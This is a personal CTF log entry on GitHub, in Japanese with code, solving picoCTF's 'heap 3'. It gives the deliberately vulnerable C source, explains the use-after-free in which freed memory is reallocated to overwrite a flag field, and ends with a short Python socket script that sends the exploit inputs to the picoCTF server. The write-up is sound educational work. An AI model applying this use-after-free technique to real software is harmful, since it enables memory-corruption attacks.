roaris / ctf-log

0 stars 0 forks source link

picoCTF: heap 3 (Binary Exploitation) #47

Open roaris opened 2 months ago

roaris commented 2 months ago

https://play.picoctf.org/practice/challenge/440

roaris commented 2 months ago
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

// Create struct
typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

int num_allocs;
object *x;

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);

  } else {
    printf("No flage for u :(\n");
    fflush(stdout);
  }
  // Call function in struct
}

void print_menu() {
    printf("\n1. Print Heap\n2. Allocate object\n3. Print x->flag\n4. Check for win\n5. Free x\n6. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

// Create a struct
void init() {

    printf("\nfreed but still in use\nnow memory untracked\ndo you smell the bug?\n");
    fflush(stdout);

    x = malloc(sizeof(object));
    strncpy(x->flag, "bico", 5);
}

void alloc_object() {
    printf("Size of object allocation: ");
    fflush(stdout);
    int size = 0;
    scanf("%d", &size);
    char* alloc = malloc(size);
    printf("Data for flag: ");
    fflush(stdout);
    scanf("%s", alloc);
}

void free_memory() {
    free(x);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x->flag, x->flag);
    printf("+-------------+-----------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
    if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            alloc_object();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x->flag);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            free_memory();
            break;
        case 6:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}
roaris commented 2 months ago
typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;
object *x;
...
x = malloc(sizeof(object));
strncpy(x->flag, "bico", 5);

sizeof(object)は35 mallocでサイズ35の空き領域を探して、空き領域の先頭アドレスをxに代入 strncpyでflagメンバにbico\0を代入している つまり、x+30 ~ x+34がbico\0になっている

x+30 ~ x+34をpico\0に書き換えれば、フラグが手に入る strcmp

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");
...
roaris commented 2 months ago

free_memory関数を使うと、init関数の中で確保した領域が解放される alloc_object関数を使うと、再度空き領域を確保することが出来る この時に指定する空き領域のサイズを35にすれば、xと同じアドレスが返ってくる これは、mallocがキャッシュ効率を意識しているため 前まで使っていたアドレスと同じものを返せば、そのアドレス周辺はキャッシュに載っている可能性が高く、書き込みが速くなる 空き領域のサイズを違うものにすると、異なる空き領域が割り当てられる可能性があるので、35を指定する

書き込むデータを指定できるので、x+30 ~ x+34がpico\0になるようにすれば良い

use after freeという脆弱性 https://kataware.hatenablog.jp/entry/2017/12/13/011729

roaris commented 2 months ago

以下のプログラムで解ける

import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tethys.picoctf.net', 55086))

s.sendall(b'5\n')
s.sendall(b'2\n')
s.sendall(b'35\n')
s.sendall(b'a'*30+b'pico'+b'\0\n')
s.sendall(b'4\n')
time.sleep(1)
d = s.recv(9999)
print(d)